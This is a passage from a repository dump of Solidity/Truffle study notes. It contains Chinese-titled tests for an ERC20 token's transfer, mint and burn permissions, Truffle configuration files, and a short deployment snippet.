it('1) 检测初始化参数', async() => { 14 | assert.equal(await TestInstance.name(),"AbcCoin"); 15 | assert.equal(await TestInstance.symbol(), "ABC"); 16 | assert.equal(await TestInstance.totalSupply(), 10 ** 12); 17 | assert.equal(await TestInstance.owner(), owner); 18 | }) 19 | 20 | it('2) 钱包转账测试', async() => { 21 | let balance1 = await TestInstance.balanceOf.call(owner) 22 | assert.equal(balance1.toNumber(), 10 ** 12); 23 | 24 | await TestInstance.transfer(wallet1, 1.2 * 10**8); 25 | 26 | let balance2 = await TestInstance.balanceOf(owner); 27 | assert.equal(balance2.toNumber(), 10 ** 12 - 1.2 * 10**8); 28 | 29 | let balance3 = await TestInstance.balanceOf(wallet1); 30 | assert.equal(balance3.toNumber(), 1.2 * 10**8); 31 | }) 32 | 33 | it('3) 代币铸造权限检测', async() => { 34 | 35 | try{ 36 | await TestInstance.mint(wallet1, 0.3 * 10**8, {from: wallet2}); 37 | }catch(error){ 38 | const revertFound = error.message.search('revert') >= 0; 39 | assert(revertFound, `Expected "revert", got ${error} instead`); 40 | } 41 | let balance1 = await TestInstance.balanceOf(wallet1); 42 | assert.equal(balance1.toNumber(), 0); 43 | }) 44 | 45 | it('4) 代币铸造测试', async() => { 46 | 47 | try{ 48 | await TestInstance.mint(wallet1, 0.3 * 10**8); 49 | }catch(error){ 50 | const revertFound = error.message.search('revert') >= 0; 51 | assert(revertFound, `Expected "revert", got ${error} instead`); 52 | } 53 | let balance1 = await TestInstance.balanceOf(wallet1); 54 | assert.equal(balance1.toNumber(), 3 * 10**7); 55 | 56 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 + 0.3 * 10 ** 8); 57 | }) 58 | 59 | it('5) 代币销毁权限检测', async() => { 60 | await TestInstance.transfer(wallet1, 5 * 10**8); 61 | try{ 62 | await TestInstance.burn(wallet1, 2 * 10**8, {from: wallet2}); 63 | }catch(error){ 64 | const revertFound = error.message.search('revert') >= 0; 65 | assert(revertFound, `Expected "revert", got ${error} instead`); 66 | } 67 | let balance1 = await TestInstance.balanceOf(wallet1); 68 | assert.equal(balance1.toNumber(), 5 * 10 ** 8); 69 | }) 70 | 71 | it('6) 代币销毁测试', async() => { 72 | await TestInstance.transfer(wallet1, 5 * 10**8); 73 | try{ 74 | await TestInstance.burn(wallet1, 2 * 10**8); 75 | }catch(error){ 76 | const revertFound = error.message.search('revert') >= 0; 77 | assert(revertFound, `Expected "revert", got ${error} instead`); 78 | } 79 | let balance1 = await TestInstance.balanceOf(wallet1); 80 | assert.equal(balance1.toNumber(), 3 * 10**8); 81 | 82 | assert.equal(await TestInstance.totalSupply(), 10 ** 12 - 2 * 10 ** 8); 83 | }) 84 | }); 85 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/truffle-config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | }; 5 | -------------------------------------------------------------------------------- /notes/truffle/erc20-token/truffle.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // See 3 | // to customize your Truffle configuration! 4 | solc: { 5 | optimizer: { 6 | enabled: true, 7 | } 8 | }, 9 | networks: { 10 | prodwork: { 11 | host: "127.0.0.1", 12 | port: 8541, 13 | network_id: "*", 14 | address: "0x9b4eabea5d69a3c434c40f84f65282f6b4d9b232", 15 | gasPrice: 18000000000, 16 | gas: 0x47b760, 17 | } 18 | } 19 | }; -------------------------------------------------------------------------------- /notes/truffle/install.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/truffle/install.md -------------------------------------------------------------------------------- /notes/truffle/summary.md: -------------------------------------------------------------------------------- 1 | # List 2 | * [获取部署的智能合约地址、abi和code](#获取部署的智能合约地址、abi和code) 3 | * [测试用例智能合约调用另外一个智能合约](#测试用例智能合约调用另外一个智能合约) 4 | 5 | # Summary 6 | ## 获取部署的智能合约地址、abi和code 7 | 8 | ```js 9 | var SimpleConstract = artifacts.require("./SimpleConstract.sol"); 10 | 11 | module.exports = function(deployer) { 12 | deployer.deploy(SimpleConstract) 13 | // Console log the address: 14 | .then(() => console.log(SimpleConstract.address)) 15 | 16 | // Retrieve the contract instance and get the address from that: 17 | .then(() => SimpleConstract.deployed()) 18 | .then(_instance => console.log(_instance.address)); 19 | }; 20 | ``` 21 | 22 | ## 测试用例智能合约调用另外一个智能合约 23 | --------------------------------------------------------------------------------